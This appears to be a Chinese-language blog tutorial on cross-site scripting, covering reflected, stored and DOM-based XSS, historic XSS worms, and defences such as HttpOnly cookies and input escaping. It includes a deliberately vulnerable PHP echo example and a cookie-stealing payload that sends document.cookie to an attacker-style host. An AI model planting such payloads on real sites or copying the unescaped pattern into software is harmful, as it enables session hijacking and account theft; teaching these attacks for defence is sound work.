XSS攻擊通常指黑客通過"HTML注入"篡改了頁面,插入了惡意腳本,下面演示一個簡單的例子:
<?php $input = $_GET("param"); echo "<div>".$input."</div>"; ?>
這個服務端腳本的目的是將用戶輸入的數據顯示到頁面中;一般我們隨便輸入一段文字:桔子桑
頁面自然顯示:<div>桔子桑</div>;
但是別有用心的人可能會這么輸入:<script>alert("hello world")</script>
最后的結果你也應該猜到了,頁面並不會像網站設計者所期望的那樣。
XSS根據效果不同可以分為如下幾類:
1.反射型XSS
反射型XSS只是簡單的將用戶輸入的數據“反射”給瀏覽器,上面的例子就是這種類型。
2.存儲型XSS
存儲型XSS是指將惡意用戶輸入的腳本存到了數據庫,當用到這條數據的時候,其中包含的腳本就會執行,並且只要
數據庫沒有刪除,那么這種攻擊將一直存在,我們稱這種XSS具有很強的穩定性。
3.DOM Based XSS
這種類型的XSS改變了DOM的結構,比如:
<a href='來自用戶輸入'>點擊</a>
接下來看一段用戶輸入的數據:
<a href=''><div>12121212</div><''>點擊</a>
你會發現,用戶的輸入使得a標簽提前結束,並插入了自定義的DOM。
現在假設某一網站存在XSS漏洞,那么攻擊者可以植入哪些特定功能的惡意腳本呢(XSS Payload)?
4.1 cookie劫持
我們都知道,網站識別用戶身份是通過cookie的,這一點在之前的web認證里面有提到:cookie認證;
那么,XSS攻擊者通過植入一段js腳本:
***src = "http://www.xss.com/log?"+escape(document.cookie)***
這樣就可以把當前網站域的cookie(包括用於用戶身份識別的cookie,通常稱為token)發送到攻擊者的服務器了;
注意,這里運用到了src標簽的允許跨域的特性,這個在之前的瀏覽器跨域問題中也有提過:點擊查看博客第五點;
攻擊者拿到了當前用戶在該網站域的cookie之后,在他的電腦上將cookie加以替換,然后就能輕而易舉地登錄被攻
擊者的賬戶了。
4.2XSS釣魚
釣魚網站相信大家都不陌生,攻擊者通過仿造一個和源站極度相似的網站來誘使被攻擊者輸入用戶名密碼,當用戶名
和密碼被發送到攻擊者服務器之后,后面的事就不用多說了。
4.3XSS Worm
XSS蠕蟲,蠕蟲可以在短時間內感染互聯網上的其他聯網設備;
2005年,年僅19歲的Samy Kamkar發起了對MySpace.com的Xss Worm攻擊,為每個用戶的自我介紹后面加了一句話:
“but most of all,Samy is my hero”,短短幾小時內感染了100萬用戶;
2007年,百度空間的用戶忽然之間開始轉發垃圾短消息,后來百度工程師緊急修復了該漏洞,這次事件,也是由XSS Worm
造成的,由於封鎖及時,這個蠕蟲只感染了8700多個blog。
4.4其他
XSS攻擊基本上是基於js腳本的(在flash中是ActionScript),腳本可以獲取用戶客戶端(瀏覽器)上的任何信息,甚至可以
間接獲取用戶電腦的其他信息,以及通過獲取用戶瀏覽器,操作系統信息之后,通過瀏覽器內存攻擊來給被攻擊者電腦植入
木馬。
由此可見學好javascript是多么重要。
5.XSS的防御
針對XSS攻擊,一些瀏覽器也內置了一些對抗XSS的措施,但是對於網站來說,也應當尋找優秀的解決方案;
5.1HttpOnly
HttpOnly首先是由微軟提出的,並首次在IE6中實現,至今已經逐漸成為一個標准,該屬性是為了對抗cookie劫持攻擊;
服務端Set-Cookie向客戶端寫入Cookie時,設置HttpOnly,那么Javascript將獲取不到該cookie;
<?php header("Set-Cookie:cookie1=test1"); header("Set-Cookie:cookie2=test2;httponly",false); ?>
我們看到,如此設置了兩個cokie,但是document.cookie只能獲取第一個cookie。
下面附上一張博客園的cookie列表:

可以看到,當前域(cnblogs.com)下有5個cookie,其中兩個是httponly的,那么我們在控制台document.cookie試試

正如我們所預期的那樣,httponly標識的cookie沒能拿到。
5.2輸入輸出控制
由於XSS攻擊是基於“html注入”的,所以最好的防御手段就是嚴格控制用戶的輸入,主要體現在字符編碼,字符轉義,敏感
標簽以及富文本上,這些都是在設定XSS安全防范方案需要考慮的因素范圍內。
